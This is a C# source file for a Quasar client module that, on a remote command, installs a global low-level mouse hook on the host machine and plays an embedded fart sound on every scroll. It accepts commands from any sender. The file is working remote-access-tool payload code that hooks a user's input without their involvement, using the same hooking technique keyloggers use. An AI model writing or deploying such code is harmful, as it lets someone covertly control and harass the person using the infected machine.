using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Runtime.InteropServices;
using System.Threading;

namespace Quasar.Client.Messages
{
    public class FartScrollHandler : IMessageProcessor, IDisposable
    {
        // ── Low-level mouse hook ─────────────────────────────────────────────

        private delegate IntPtr LowLevelMouseProc(int nCode, IntPtr wParam, IntPtr lParam);

        [DllImport("user32.dll")] static extern IntPtr SetWindowsHookEx(int idHook, LowLevelMouseProc fn, IntPtr hMod, uint threadId);
        [DllImport("user32.dll")] static extern bool   UnhookWindowsHookEx(IntPtr hhk);
        [DllImport("user32.dll")] static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
        [DllImport("user32.dll")] static extern bool   GetMessage(out MSG msg, IntPtr hWnd, uint min, uint max);
        [DllImport("user32.dll")] static extern bool   TranslateMessage(ref MSG msg);
        [DllImport("user32.dll")] static extern IntPtr DispatchMessage(ref MSG msg);
        [DllImport("user32.dll")]   static extern bool  PostThreadMessage(int threadId, uint msg, IntPtr wParam, IntPtr lParam);
        [DllImport("kernel32.dll")] static extern int  GetCurrentThreadId();
        [DllImport("kernel32.dll")] static extern IntPtr GetModuleHandle(string name);

        [StructLayout(LayoutKind.Sequential)]
        struct MSG { public IntPtr hwnd; public uint message; public IntPtr wParam, lParam; public uint time; public int x, y; }

        const int    WH_MOUSE_LL   = 14;
        const int    WM_MOUSEWHEEL = 0x020A;
        const uint   WM_QUIT       = 0x0012;

        // ── waveOut P/Invoke ─────────────────────────────────────────────────

        [StructLayout(LayoutKind.Sequential)]
        struct WAVEFORMATEX { public ushort wFormatTag, nChannels; public uint nSamplesPerSec, nAvgBytesPerSec; public ushort nBlockAlign, wBitsPerSample, cbSize; }

        [StructLayout(LayoutKind.Sequential)]
        struct WAVEHDR { public IntPtr lpData; public uint dwBufferLength, dwBytesRecorded; public IntPtr dwUser; public uint dwFlags, dwLoops; public IntPtr lpNext, reserved; }

        [DllImport("winmm.dll")] static extern uint waveOutOpen(out IntPtr h, uint dev, ref WAVEFORMATEX fmt, IntPtr cb, IntPtr inst, uint flags);
        [DllImport("winmm.dll")] static extern uint waveOutPrepareHeader(IntPtr h, ref WAVEHDR hdr, uint sz);
        [DllImport("winmm.dll")] static extern uint waveOutWrite(IntPtr h, ref WAVEHDR hdr, uint sz);
        [DllImport("winmm.dll")] static extern uint waveOutUnprepareHeader(IntPtr h, ref WAVEHDR hdr, uint sz);
        [DllImport("winmm.dll")] static extern uint waveOutClose(IntPtr h);

        const uint WAVE_MAPPER = 0xFFFFFFFF;

        // Embedded fart PCM — 2 ch, 16-bit, 48000 Hz
        private static readonly byte[] FartPcm = Convert.FromBase64String(
            "[encoded data, 86016 characters]");

        // ── State ────────────────────────────────────────────────────────────

        private Thread            _hookThread;
        private int               _hookThreadId;
        private IntPtr            _hookHandle = IntPtr.Zero;
        private LowLevelMouseProc _proc;
        private readonly ManualResetEvent _ready = new ManualResetEvent(false);

        // ── IMessageProcessor ────────────────────────────────────────────────

        public bool CanExecute(IMessage message) => message is DoStartFartScroll || message is DoStopFartScroll;
        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            if (message is DoStartFartScroll) Start();
            else if (message is DoStopFartScroll) Stop();
        }

        // ── Hook lifecycle ───────────────────────────────────────────────────

        private void Start()
        {
            if (_hookHandle != IntPtr.Zero) return;

            _proc = HookCallback;
            _ready.Reset();

            _hookThread = new Thread(() =>
            {
                _hookThreadId = GetCurrentThreadId();

                using (var proc = System.Diagnostics.Process.GetCurrentProcess())
                using (var mod  = proc.MainModule)
                    _hookHandle = SetWindowsHookEx(WH_MOUSE_LL, _proc, GetModuleHandle(mod.ModuleName), 0);

                _ready.Set();

                MSG msg;
                while (GetMessage(out msg, IntPtr.Zero, 0, 0))
                {
                    TranslateMessage(ref msg);
                    DispatchMessage(ref msg);
                }

                UnhookWindowsHookEx(_hookHandle);
                _hookHandle = IntPtr.Zero;
            }) { IsBackground = true };

            _hookThread.Start();
            _ready.WaitOne();
        }

        private void Stop()
        {
            if (_hookThreadId != 0)
                PostThreadMessage(_hookThreadId, WM_QUIT, IntPtr.Zero, IntPtr.Zero);
        }

        private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0 && wParam.ToInt32() == WM_MOUSEWHEEL)
                ThreadPool.QueueUserWorkItem(_ => PlayFart());

            return CallNextHookEx(_hookHandle, nCode, wParam, lParam);
        }

        // ── Fart playback ────────────────────────────────────────────────────

        private void PlayFart()
        {
            try
            {
                var fmt = new WAVEFORMATEX
                {
                    wFormatTag      = 1,
                    nChannels       = 2,
                    nSamplesPerSec  = 48000,
                    wBitsPerSample  = 16,
                    nBlockAlign     = 4,
                    nAvgBytesPerSec = 192000
                };

                IntPtr hWave;
                if (waveOutOpen(out hWave, WAVE_MAPPER, ref fmt, IntPtr.Zero, IntPtr.Zero, 0) != 0) return;

                GCHandle pin = GCHandle.Alloc(FartPcm, GCHandleType.Pinned);
                try
                {
                    uint hdrSz = (uint)Marshal.SizeOf(typeof(WAVEHDR));
                    var hdr = new WAVEHDR { lpData = pin.AddrOfPinnedObject(), dwBufferLength = (uint)FartPcm.Length };
                    waveOutPrepareHeader(hWave, ref hdr, hdrSz);
                    waveOutWrite(hWave, ref hdr, hdrSz);
                    Thread.Sleep(536);
                    waveOutUnprepareHeader(hWave, ref hdr, hdrSz);
                }
                finally
                {
                    pin.Free();
                    waveOutClose(hWave);
                }
            }
            catch { }
        }

        public void Dispose() => Stop();
    }
}
